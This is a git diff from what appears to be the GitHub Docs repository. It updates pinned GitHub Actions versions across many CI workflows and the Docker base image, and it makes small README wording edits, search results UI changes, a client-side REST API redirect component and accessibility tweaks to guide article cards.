@@ -44,7 +44,7 @@ jobs:
       - name: Remove script results file
         run: rm ./results.md
       - name: Create pull request
-        uses: peter-evans/create-pull-request@7380612b49221684fefa025244f2ef4008ae50ad
+        uses: peter-evans/create-pull-request@dcd5fd746d53dd8de555c0f10bca6c35628be47a
         env:
           # Disable pre-commit hooks; they don't play nicely here
           HUSKY: '0'
diff --git a/.github/workflows/repo-sync.yml b/.github/workflows/repo-sync.yml
index 1bcda9684a..b89bee7fff 100644
--- a/.github/workflows/repo-sync.yml
+++ b/.github/workflows/repo-sync.yml
@@ -102,7 +102,7 @@ jobs:
 
       # Set up npm and run npm ci to run husky to get githooks for LFS
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/staging-build-and-deploy-pr.yml b/.github/workflows/staging-build-and-deploy-pr.yml
index 84090a206a..7554dfd644 100644
--- a/.github/workflows/staging-build-and-deploy-pr.yml
+++ b/.github/workflows/staging-build-and-deploy-pr.yml
@@ -55,7 +55,7 @@ jobs:
         run: git lfs checkout
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -64,7 +64,7 @@ jobs:
         run: npm ci
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
@@ -76,7 +76,7 @@ jobs:
         run: node script/early-access/clone-for-build.js
         env:
           DOCUBOT_REPO_PAT: ${{ secrets.DOCUBOT_REPO_PAT }}
-          GIT_BRANCH: ${{ github.event.pull_request.head.sha }}
+          GIT_BRANCH: ${{ github.head_ref || github.ref }}
 
       - name: Create a Heroku build source
         id: build-source
diff --git a/.github/workflows/staging-build-pr.yml b/.github/workflows/staging-build-pr.yml
index dbfa04c8fb..91c54cc037 100644
--- a/.github/workflows/staging-build-pr.yml
+++ b/.github/workflows/staging-build-pr.yml
@@ -69,7 +69,7 @@ jobs:
         run: exit 1
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -82,7 +82,7 @@ jobs:
         run: npm ci
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
@@ -129,7 +129,7 @@ jobs:
       # We are not willing to trust the rest (e.g. script/) for the remainder
       # of the deployment process.
       - name: Upload build artifact
-        uses: actions/upload-artifact@27121b0bdffd731efa15d66772be8dc71245d074
+        uses: actions/upload-artifact@82c141cc518b40d92cc801eee768e7aafc9c2fa2
         with:
           name: pr_build
           path: app.tar
diff --git a/.github/workflows/staging-deploy-pr.yml b/.github/workflows/staging-deploy-pr.yml
index 85ba8698ed..52c382a675 100644
--- a/.github/workflows/staging-deploy-pr.yml
+++ b/.github/workflows/staging-deploy-pr.yml
@@ -241,7 +241,7 @@ jobs:
         run: git lfs checkout
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -375,7 +375,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/sync-search-indices.yml b/.github/workflows/sync-search-indices.yml
index 88c2de8133..34c004a561 100644
--- a/.github/workflows/sync-search-indices.yml
+++ b/.github/workflows/sync-search-indices.yml
@@ -56,7 +56,7 @@ jobs:
           token: ${{ secrets.DOCS_BOT_FR }}
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -65,7 +65,7 @@ jobs:
         run: npm ci
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
diff --git a/.github/workflows/sync-search-pr.yml b/.github/workflows/sync-search-pr.yml
index 16bfa7c16e..c258c0143a 100644
--- a/.github/workflows/sync-search-pr.yml
+++ b/.github/workflows/sync-search-pr.yml
@@ -29,7 +29,7 @@ jobs:
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -38,7 +38,7 @@ jobs:
         run: npm ci
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
diff --git a/.github/workflows/test-windows.yml b/.github/workflows/test-windows.yml
index 52b671b8af..52d77dd42c 100644
--- a/.github/workflows/test-windows.yml
+++ b/.github/workflows/test-windows.yml
@@ -47,7 +47,7 @@ jobs:
           persist-credentials: 'false'
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -56,7 +56,7 @@ jobs:
         run: npm ci
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
@@ -73,4 +73,4 @@ jobs:
         run: npm run build
 
       - name: Run tests
-        run: npm run test tests/${{ matrix.test-group }}/
+        run: npm test -- tests/${{ matrix.test-group }}/
diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml
index bd4b6c6077..1678bffc37 100644
--- a/.github/workflows/test.yml
+++ b/.github/workflows/test.yml
@@ -66,7 +66,7 @@ jobs:
           echo "${{ steps.get_diff_files.outputs.files }}" > get_diff_files.txt
 
       - name: Setup node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -82,7 +82,7 @@ jobs:
           GIT_BRANCH: ${{ github.head_ref || github.ref }}
 
       - name: Cache nextjs build
-        uses: actions/cache@c64c572235d810460d0d6876e9c705ad5002b353
+        uses: actions/cache@937d24475381cd9c75ae6db12cb4e79714b926ed
         with:
           path: .next/cache
           key: ${{ runner.os }}-nextjs-${{ hashFiles('package*.json') }}
@@ -93,4 +93,4 @@ jobs:
       - name: Run tests
         env:
           DIFF_FILE: get_diff_files.txt
-        run: npm run test tests/${{ matrix.test-group }}/
+        run: npm test -- tests/${{ matrix.test-group }}/
diff --git a/.github/workflows/triage-unallowed-internal-changes.yml b/.github/workflows/triage-unallowed-internal-changes.yml
index 168517fc0f..f839c016e9 100644
--- a/.github/workflows/triage-unallowed-internal-changes.yml
+++ b/.github/workflows/triage-unallowed-internal-changes.yml
@@ -69,7 +69,7 @@ jobs:
           token: ${{ secrets.DOCUBOT_REPO_PAT }}
 
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
diff --git a/.github/workflows/update-graphql-files.yml b/.github/workflows/update-graphql-files.yml
index 9d984311e1..12d7938bfd 100644
--- a/.github/workflows/update-graphql-files.yml
+++ b/.github/workflows/update-graphql-files.yml
@@ -34,7 +34,7 @@ jobs:
       - name: Checkout
         uses: actions/checkout@ec3a7ce113134d7a93b817d10a8272cb61118579
       - name: Setup Node
-        uses: actions/setup-node@04c56d2f954f1e4c69436aa54cfef261a018f458
+        uses: actions/setup-node@1f8c6b94b26d0feae1e387ca63ccbdc44d27b561
         with:
           node-version: 16.13.x
           cache: npm
@@ -48,7 +48,7 @@ jobs:
           script/graphql/update-files.js
       - name: Create pull request
         id: create-pull-request
-        uses: peter-evans/create-pull-request@7380612b49221684fefa025244f2ef4008ae50ad
+        uses: peter-evans/create-pull-request@dcd5fd746d53dd8de555c0f10bca6c35628be47a
         env:
           # Disable pre-commit hooks; they don't play nicely here
           HUSKY: '0'
diff --git a/.vscode/settings.json b/.vscode/settings.json
index d241c9db60..1be4592020 100644
--- a/.vscode/settings.json
+++ b/.vscode/settings.json
@@ -1,7 +1,7 @@
 {
   "files.exclude": {
     "**/translations": true
-  }
+  },
   "workbench.editor.enablePreview": false,
   "workbench.editor.enablePreviewFromQuickOpen": false  
 }
diff --git a/Dockerfile b/Dockerfile
index b99cc6fa16..fdabfa8c11 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -5,7 +5,7 @@
 # --------------------------------------------------------------------------------
 # BASE IMAGE
 # --------------------------------------------------------------------------------
-FROM node:16.2.0-alpine as base
+FROM node:16-alpine as base
 
 RUN apk add --no-cache make g++ git
 
@@ -22,6 +22,11 @@ COPY package*.json ./
 
 RUN npm ci
 
+# For Next.js v12+
+# This the appropriate necessary extra for node:16-alpine
+# Other options are https://www.npmjs.com/search?q=%40next%2Fswc
+# RUN npm i @next/swc-linux-x64-musl --no-save
+
 
 # ---------------
 # PROD DEPS
@@ -54,7 +59,7 @@ RUN npm run build
 # MAIN IMAGE
 # --------------------------------------------------------------------------------
 
-FROM node:16.2.0-alpine as production
+FROM node:16-alpine as production
 
 # Let's make our home
 WORKDIR /usr/src/docs
diff --git a/README.md b/README.md
index 95c69a293b..fadb39c8de 100644
--- a/README.md
+++ b/README.md
@@ -12,11 +12,11 @@ See [the contributing guide](CONTRIBUTING.md) for detailed instructions on how t
 
 We accept different [types of contributions](https://github.com/github/docs/blob/main/contributing/types-of-contributions.md), including some that don't require you to write a single line of code.
 
-On the GitHub Docs site, you can click the make a contribution button to open a PR(Pull Request) for quick fixes like typos, updates, or link fixes.
+On the GitHub Docs site, you can click the make a contribution button to open a pull request for quick fixes like typos, updates, or link fixes.
 
 <img src="./assets/images/contribution_cta.png" width="400">
 
-For more complex contributions, you can open an issue using the most appropriate [issue template](https://github.com/github/docs/issues/new/choose) to describe the changes you'd like to see. By this way you can also be a part of Open source contributor's community without even writing a single line of code.
+For more complex contributions, you can open an issue using the most appropriate [issue template](https://github.com/github/docs/issues/new/choose) to describe the changes you'd like to see.
 
 If you're looking for a way to contribute, you can scan through our [existing issues](https://github.com/github/docs/issues) for something to work on. When ready, check out [Getting Started with Contributing](/CONTRIBUTING.md) for detailed instructions.
 
@@ -33,7 +33,6 @@ That's how you can easily become a member of the GitHub Documentation community.
 ## READMEs
 
 In addition to the README you're reading right now, this repo includes other READMEs that describe the purpose of each subdirectory in more detail:
-You can go through among them for specified details regarding the topics listed below.
 
 - [content/README.md](content/README.md)
 - [content/graphql/README.md](content/graphql/README.md)
@@ -57,7 +56,7 @@ The GitHub product documentation in the assets, content, and data folders are li
 
 All other code in this repository is licensed under the [MIT license](LICENSE-CODE).
 
-When you are using the GitHub logos, be sure to follow the [GitHub logo guidelines](https://github.com/logos).
+When using the GitHub logos, be sure to follow the [GitHub logo guidelines](https://github.com/logos).
 
 ## Thanks :purple_heart:
 
diff --git a/assets/images/help/classroom/assignment-group-hero.png b/assets/images/help/classroom/assignment-group-hero.png
index b881d2f36b..259f7f40dd 100644
Binary files a/assets/images/help/classroom/assignment-group-hero.png and b/assets/images/help/classroom/assignment-group-hero.png differ
diff --git a/assets/images/help/classroom/assignment-individual-hero.png b/assets/images/help/classroom/assignment-individual-hero.png
index 035093cf06..e4afed815c 100644
Binary files a/assets/images/help/classroom/assignment-individual-hero.png and b/assets/images/help/classroom/assignment-individual-hero.png differ
diff --git a/assets/images/help/classroom/assignments-click-view-test.png b/assets/images/help/classroom/assignments-click-view-test.png
index 17c3bb76fd..23bbff2438 100644
Binary files a/assets/images/help/classroom/assignments-click-view-test.png and b/assets/images/help/classroom/assignments-click-view-test.png differ
diff --git a/assets/images/help/classroom/autograding-hero.png b/assets/images/help/classroom/autograding-hero.png
deleted file mode 100644
index f197142272..0000000000
Binary files a/assets/images/help/classroom/autograding-hero.png and /dev/null differ
diff --git a/assets/images/help/codespaces/add-constraint-dropdown.png b/assets/images/help/codespaces/add-constraint-dropdown.png
new file mode 100644
index 0000000000..eeeb1a2441
Binary files /dev/null and b/assets/images/help/codespaces/add-constraint-dropdown.png differ
diff --git a/assets/images/help/codespaces/change-machine-type-choice.png b/assets/images/help/codespaces/change-machine-type-choice.png
new file mode 100644
index 0000000000..c6c8ff0408
Binary files /dev/null and b/assets/images/help/codespaces/change-machine-type-choice.png differ
diff --git a/assets/images/help/codespaces/choose-custom-machine-type.png b/assets/images/help/codespaces/choose-custom-machine-type.png
index 4712cac1cb..55a46548af 100644
Binary files a/assets/images/help/codespaces/choose-custom-machine-type.png and b/assets/images/help/codespaces/choose-custom-machine-type.png differ
diff --git a/assets/images/help/codespaces/edit-machine-constraint.png b/assets/images/help/codespaces/edit-machine-constraint.png
new file mode 100644
index 0000000000..f5ea9fdc71
Binary files /dev/null and b/assets/images/help/codespaces/edit-machine-constraint.png differ
diff --git a/assets/images/help/codespaces/machine-types-limited-choice.png b/assets/images/help/codespaces/machine-types-limited-choice.png
new file mode 100644
index 0000000000..42c83dfccd
Binary files /dev/null and b/assets/images/help/codespaces/machine-types-limited-choice.png differ
diff --git a/assets/images/help/codespaces/new-codespace-button.png b/assets/images/help/codespaces/new-codespace-button.png
index 7a1198d1d8..344728946a 100644
Binary files a/assets/images/help/codespaces/new-codespace-button.png and b/assets/images/help/codespaces/new-codespace-button.png differ
diff --git a/assets/images/help/codespaces/organization-user-permission-settings.png b/assets/images/help/codespaces/organization-user-permission-settings.png
deleted file mode 100644
index 2dd4ca47b3..0000000000
Binary files a/assets/images/help/codespaces/organization-user-permission-settings.png and /dev/null differ
diff --git a/assets/images/help/codespaces/policy-delete.png b/assets/images/help/codespaces/policy-delete.png
new file mode 100644
index 0000000000..5c3e7d8a08
Binary files /dev/null and b/assets/images/help/codespaces/policy-delete.png differ
diff --git a/assets/images/help/codespaces/policy-edit.png b/assets/images/help/codespaces/policy-edit.png
new file mode 100644
index 0000000000..d2dd720450
Binary files /dev/null and b/assets/images/help/codespaces/policy-edit.png differ
diff --git a/assets/images/help/codespaces/policy-select-repos.png b/assets/images/help/codespaces/policy-select-repos.png
new file mode 100644
index 0000000000..01978088ab
Binary files /dev/null and b/assets/images/help/codespaces/policy-select-repos.png differ
diff --git a/assets/images/help/notifications-v2/unsubscribe-from-all-repos.png b/assets/images/help/notifications-v2/unsubscribe-from-all-repos.png
new file mode 100644
index 0000000000..60913fb588
Binary files /dev/null and b/assets/images/help/notifications-v2/unsubscribe-from-all-repos.png differ
diff --git a/assets/images/help/notifications-v2/unwatch-repo-dialog.png b/assets/images/help/notifications-v2/unwatch-repo-dialog.png
new file mode 100644
index 0000000000..e791ba2552
Binary files /dev/null and b/assets/images/help/notifications-v2/unwatch-repo-dialog.png differ
diff --git a/assets/images/help/organizations/codespaces-policy-sidebar.png b/assets/images/help/organizations/codespaces-policy-sidebar.png
new file mode 100644
index 0000000000..6f0912bb66
Binary files /dev/null and b/assets/images/help/organizations/codespaces-policy-sidebar.png differ
diff --git a/assets/images/help/organizations/codespaces-sidebar-tab.png b/assets/images/help/organizations/codespaces-sidebar-tab.png
index 774dbc9fbd..558205a2eb 100644
Binary files a/assets/images/help/organizations/codespaces-sidebar-tab.png and b/assets/images/help/organizations/codespaces-sidebar-tab.png differ
diff --git a/assets/images/help/writing/markdown-toolbar.gif b/assets/images/help/writing/markdown-toolbar.gif
deleted file mode 100644
index 0a9e5cfcb1..0000000000
Binary files a/assets/images/help/writing/markdown-toolbar.gif and /dev/null differ
diff --git a/components/Search.module.scss b/components/Search.module.scss
index 4ccc25ca94..b88b6c8161 100644
--- a/components/Search.module.scss
+++ b/components/Search.module.scss
@@ -51,3 +51,7 @@
 .selectWording {
   margin: 0.64rem 0.5rem 0 0;
 }
+
+.versionSearchContainer {
+  overflow: hidden;
+}
diff --git a/components/Search.tsx b/components/Search.tsx
index d99a60e4fe..3f6d0adc70 100644
--- a/components/Search.tsx
+++ b/components/Search.tsx
@@ -206,7 +206,7 @@ export function Search({
   )
 
   const SearchInput = (
-    <div data-testid="search" aria-hidden="true">
+    <div data-testid="search">
       <div className="position-relative z-2">
         <form role="search" className="width-full d-flex" noValidate onSubmit={onFormSubmit}>
           <label className="text-normal width-full">
@@ -347,23 +347,6 @@ function ShowSearchResults({
   }, [selectedVersion])
 
   if (results) {
-    if (results.length === 0) {
-      // When there results, but exactly 0, it matters if this is the overlay or not.
-      if (isHeaderSearch) {
-        return (
-          <div className="mt-5 px-6">
-            {isLoading ? <span>{t('loading')}...</span> : <span>{t('no_results')}.</span>}
-          </div>
-        )
-      } else {
-        return (
-          <p data-testid="no-search-results" className="d-block mt-4">
-            {t('no_results')}.
-          </p>
-        )
-      }
-    }
-
     const ActionListResults = (
       <div
         data-testid="search-results"
@@ -373,7 +356,7 @@ function ShowSearchResults({
           isHeaderSearch && 'overflow-auto'
         )}
       >
-        <div className="mt-4 pb-4 width-full border-bottom">
+        <div className={cx(styles.versionSearchContainer, 'mt-4 pb-4 width-full border-bottom')}>
           <p className={cx(styles.searchWording, 'f6 ml-4 d-inline-block')}>
             You're searching the <strong>{searchVersion}</strong> version.
           </p>
@@ -389,8 +372,16 @@ function ShowSearchResults({
         </div>
         {/* We might have results AND isLoading. For example, the user typed
         a first word, and is now typing more. */}
-        <p className="d-block ml-4 mt-4">
-          {isLoading ? <span>{t('loading')}...</span> : <span>&nbsp;</span>}
+        {isLoading && (
+          <p className="d-block ml-4 mt-4">
+            <span>{t('loading')}...</span>
+          </p>
+        )}
+        <h1 className="ml-4 f2 mt-4">
+          {t('search_results_for')}: {query}
+        </h1>
+        <p className="ml-4 mb-4 text-normal f5">
+          {t('matches_displayed')}: {results.length === 0 ? t('no_results') : results.length}
         </p>
 
         <ActionList
@@ -421,8 +412,8 @@ function ShowSearchResults({
                             score: {score.toFixed(4)} popularity: {popularity.toFixed(4)}
                           </small>
                         )}
-                        <div
-                          className={cx('mt-2 d-block f4 text-semibold')}
+                        <h2
+                          className={cx('mt-2 text-normal f3 d-block')}
                           dangerouslySetInnerHTML={{
                             __html: title,
                           }}
@@ -433,7 +424,7 @@ function ShowSearchResults({
                           dangerouslySetInnerHTML={{ __html: content }}
                         />
                         <div
-                          className={'d-block mt-2 opacity-60 text-small'}
+                          className={'d-block mt-2 opacity-70 text-small'}
                           dangerouslySetInnerHTML={
                             breadcrumbs.length === 0
                               ? { __html: `${title}`.replace(/<\/?[^>]+(>|$)|(\/)/g, '') }
diff --git a/components/article/ArticleGridLayout.tsx b/components/article/ArticleGridLayout.tsx
index 5545398dcd..842e15d5d9 100644
--- a/components/article/ArticleGridLayout.tsx
+++ b/components/article/ArticleGridLayout.tsx
@@ -63,7 +63,7 @@ const SidebarContent = styled(Box)`
     position: sticky;
     padding-top: ${themeGet('space.4')};
     top: 4em;
-    max-height: calc(100vh - ${themeGet('space.4')});
+    max-height: 75vh;
     overflow-y: auto;
     padding-bottom: ${themeGet('space.4')};
   }
diff --git a/components/article/ArticlePage.tsx b/components/article/ArticlePage.tsx
index 4b34b81442..483bb44f5b 100644
--- a/components/article/ArticlePage.tsx
+++ b/components/article/ArticlePage.tsx
@@ -1,4 +1,6 @@
+import { useState, useEffect } from 'react'
 import { useRouter } from 'next/router'
+import dynamic from 'next/dynamic'
 import cx from 'classnames'
 import { ActionList, Heading } from '@primer/components'
 
@@ -17,6 +19,10 @@ import { ArticleGridLayout } from './ArticleGridLayout'
 import { PlatformPicker } from 'components/article/PlatformPicker'
 import { ToolPicker } from 'components/article/ToolPicker'
 
+const ClientSideRedirectExceptions = dynamic(() => import('./ClientsideRedirectExceptions'), {
+  ssr: false,
+})
+
 // Mapping of a "normal" article to it's interactive counterpart
 const interactiveAlternatives: Record<string, { href: string }> = {
   '/actions/automating-builds-and-tests/building-and-testing-nodejs': {
@@ -79,8 +85,38 @@ export const ArticlePage = () => {
     )
   }
 
+  // We have some one-off redirects for rest api docs
+  // currently those are limited to the repos page, but
+  // that will grow soon as we restructure the rest api docs.
+  // This is a workaround to updating the hardcoded links
+  // directly in the REST API code in a separate repo, which
+  // requires many file changes and teams to sign off.
+  // While the organization is turbulent, we can do this.
+  // Once it's more settled, we can refactor the rest api code
+  // to leverage the OpenAPI urls rather than hardcoded urls.
+  // The code below determines if we should bother loading this redirecting
+  // component at all.
+  // The reason this isn't done at the server-level is because there you
+  // can't possibly access the URL hash. That's only known in client-side
+  // code.
+  const [loadClientsideRedirectExceptions, setLoadClientsideRedirectExceptions] = useState(false)
+  useEffect(() => {
+    const { hash, pathname } = window.location
+    // Today, Jan 2022, it's known explicitly what the pathname.
+    // In the future there might be more.
+    // Hopefully, we can some day delete all of this and no longer
+    // be dependent on the URL hash to do the redirect.
+    if (hash && pathname.endsWith('/rest/reference/repos')) {
+      setLoadClientsideRedirectExceptions(true)
+    }
+  }, [])
+
   return (
     <DefaultLayout>
+      {/* Doesn't matter *where* this is included because it will
+      never render anything. It always just return null. */}
+      {loadClientsideRedirectExceptions && <ClientSideRedirectExceptions />}
+
       <div className="container-xl px-3 px-md-6 my-4">
         <ArticleGridLayout
           topper={<ArticleTitle>{title}</ArticleTitle>}
@@ -136,7 +172,7 @@ export const ArticlePage = () => {
               )}
               {miniTocItems.length > 1 && (
                 <>
-                  <Heading as="h2" fontSize={1} id="in-this-article" className="mb-1">
+                  <Heading as="h2" id="in-this-article" className="mb-1" sx={{ fontSize: 1 }}>
                     <Link href="#in-this-article">{t('miniToc')}</Link>
                   </Heading>
 
diff --git a/components/article/ClientsideRedirectExceptions.tsx b/components/article/ClientsideRedirectExceptions.tsx
new file mode 100644
index 0000000000..8c3923a814
--- /dev/null
+++ b/components/article/ClientsideRedirectExceptions.tsx
@@ -0,0 +1,35 @@
+import { useEffect } from 'react'
+import { useRouter } from 'next/router'
+
+import overrides from '../../lib/redirects/static/rest-api-redirect-exceptions.json'
+const overrideRedirects: Record<string, string> = overrides
+
+export default function ClientSideRedirectExceptions() {
+  const router = useRouter()
+  useEffect(() => {
+    // We have some one-off redirects for rest api docs
+    // currently those are limited to the repos page, but
+    // that will grow soon as we restructure the rest api docs.
+    // This is a workaround to updating the hardcoded links
+    // directly in the REST API code in a separate repo, which
+    // requires many file changes and teams to sign off.
+    // While the organization is turbulent, we can do this.
+    // Once it's more settled, we can refactor the rest api code
+    // to leverage the OpenAPI urls rather than hardcoded urls.
+    const { hash, pathname } = window.location
+
+    // The `hash` will start with a `#` but all the keys in
+    // `overrideRedirects` do not. Hence, this slice.
+    const combined = pathname + hash
+    const overrideKey = combined
+      .replace(`/${router.locale}`, '')
+      .replace(`/${router.query.versionId || ''}`, '')
+    const redirectToName = overrideRedirects[overrideKey]
+    if (redirectToName) {
+      const newPathname = combined.replace(overrideKey, redirectToName)
+      router.replace(newPathname)
+    }
+  }, [])
+
+  return null
+}
diff --git a/components/context/ProductLandingContext.tsx b/components/context/ProductLandingContext.tsx
index a7f21a98ab..8d77096f83 100644
--- a/components/context/ProductLandingContext.tsx
+++ b/components/context/ProductLandingContext.tsx
@@ -51,6 +51,7 @@ export type ProductLandingContextT = {
   featuredArticles: Array<{
     label: string // Guides
     viewAllHref?: string // If provided, adds a "View All ->" to the header
+    viewAllTitleText?: string // Adds 'title' attribute text for the "View All" href
     articles: Array<FeaturedLink>
   }>
   changelogUrl?: string
diff --git a/components/guides/ArticleCard.tsx b/components/guides/ArticleCard.tsx
index 332953ba3a..65cd9cb26a 100644
--- a/components/guides/ArticleCard.tsx
+++ b/components/guides/ArticleCard.tsx
@@ -4,11 +4,16 @@ import { Label } from '@primer/components'
 type Props = {
   card: ArticleGuide
   typeLabel: string
+  tabIndex?: number
 }
 
-export const ArticleCard = ({ card, typeLabel }: Props) => {
+export const ArticleCard = ({ tabIndex, card, typeLabel }: Props) => {
   return (
-    <div data-testid="article-card" className="d-flex col-12 col-md-4 pr-0 pr-md-6 pr-lg-8">
+    <li
+      tabIndex={tabIndex}
+      data-testid="article-card"
+      className="d-flex col-12 col-md-4 pr-0 pr-md-6 pr-lg-8"
+    >
       <a className="no-underline d-flex flex-column py-3 border-bottom" href={card.href}>
         <h4 className="h4 color-fg-default mb-1" dangerouslySetInnerHTML={{ __html: card.title }} />
         <div className="h6 text-uppercase" data-testid="article-card-type">
@@ -33,6 +38,6 @@ export const ArticleCard = ({ card, typeLabel }: Props) => {
           </ul>
         )}
       </a>
-    </div>
+    </li>
   )
 }
diff --git a/components/guides/ArticleCards.tsx b/components/guides/ArticleCards.tsx
index 461b2a7610..d84d749e93 100644
--- a/components/guides/ArticleCards.tsx
+++ b/components/guides/ArticleCards.tsx
@@ -1,4 +1,4 @@
-import React, { useEffect, useState } from 'react'
+import React, { useEffect, useRef, useState } from 'react'
 
 import { ArticleGuide, useProductGuidesContext } from 'components/context/ProductGuidesContext'
 import { useTranslation } from 'components/hooks/useTranslation'
@@ -15,6 +15,9 @@ export const ArticleCards = () => {
   const [typeFilter, setTypeFilter] = useState<ItemInput | undefined>()
   const [topicFilter, setTopicFilter] = useState<ItemInput | undefined>()
   const [filteredResults, setFilteredResults] = useState<Array<ArticleGuide>>([])
+  const typesRef = useRef<HTMLDivElement>(null)
+  const topicsRef = useRef<HTMLDivElement>(null)
+  const articleCardRef = useRef<HTMLUListElement>(null)
 
   useEffect(() => {
     setNumVisible(PAGE_SIZE)
@@ -27,6 +30,21 @@ export const ArticleCards = () => {
     )
   }, [typeFilter, topicFilter])
 
+  const clickDropdown = (e: React.RefObject<HTMLDivElement>) => {
+    if (e === typesRef && typesRef.current) typesRef.current.focus()
+    if (e === topicsRef && topicsRef.current) topicsRef.current.focus()
+  }
+
+  const loadMore = () => {
+    if (articleCardRef.current) {
+      const childListLength = articleCardRef.current.childElementCount
+      // Leading semi-colon due to prettier to prevent possible ASI failures
+      // Need to explicitly type assert as HTMLDivElement as focus property missing from dom type definitions for Element.
+      ;(articleCardRef.current.childNodes.item(childListLength - 1) as HTMLDivElement).focus()
+    }
+    setNumVisible(numVisible + PAGE_SIZE)
+  }
+
   const isUserFiltering = typeFilter !== undefined || topicFilter !== undefined
 
   const guides = isUserFiltering ? filteredResults : includeGuides || []
@@ -48,11 +66,18 @@ export const ArticleCards = () => {
       <label htmlFor="guide-filter-form">{t('filter_instructions')}</label>
       <form name="guide-filter-form" className="mt-2 mb-5 d-flex d-flex">
         <div data-testid="card-filter-types">
-          <label htmlFor="type" className="text-uppercase f6 color-fg-muted d-block">
+          <div
+            onClick={() => clickDropdown(typesRef)}
+            onKeyDown={() => clickDropdown(typesRef)}
+            role="button"
+            tabIndex={-1}
+            className="text-uppercase f6 color-fg-muted d-block"
+          >
             {t('filters.type')}
-          </label>
+          </div>
           <DropdownMenu
-            aria-label="guide types"
+            anchorRef={typesRef}
+            aria-label="types"
             data-testid="types-dropdown"
             placeholder={t('filters.all')}
             items={types}
@@ -62,11 +87,18 @@ export const ArticleCards = () => {
         </div>
 
         <div data-testid="card-filter-topics" className="mx-4">
-          <label htmlFor="topic" className="text-uppercase f6 color-fg-muted d-block">
+          <div
+            onClick={() => clickDropdown(topicsRef)}
+            onKeyDown={() => clickDropdown(topicsRef)}
+            role="button"
+            tabIndex={-1}
+            className="text-uppercase f6 color-fg-muted d-block"
+          >
             {t('filters.topic')}
-          </label>
+          </div>
           <DropdownMenu
-            aria-label="guide topics"
+            anchorRef={topicsRef}
+            aria-label="topics"
             data-testid="topics-dropdown"
             placeholder={t('filters.all')}
             items={topics}
@@ -84,16 +116,23 @@ export const ArticleCards = () => {
           : t('guides_found.multiple').replace('{n}', guides.length)}
       </div>
 
-      <div className="d-flex flex-wrap mr-0 mr-md-n6 mr-lg-n8">
+      <ul ref={articleCardRef} className="d-flex flex-wrap mr-0 mr-md-n6 mr-lg-n8">
         {guides.slice(0, numVisible).map((card) => {
-          return <ArticleCard key={card.href} card={card} typeLabel={guideTypes[card.type]} />
+          return (
+            <ArticleCard
+              tabIndex={-1}
+              key={card.href}
+              card={card}
+              typeLabel={guideTypes[card.type]}
+            />
+          )
         })}
-      </div>
+      </ul>
 
       {guides.length > numVisible && (
         <button
           className="col-12 mt-5 text-center text-bold color-fg-accent btn-link"
-          onClick={() => setNumVisible(numVisible + PAGE_SIZE)}
+          onClick={loadMore}
         >
           {t('load_more')}
         </button>
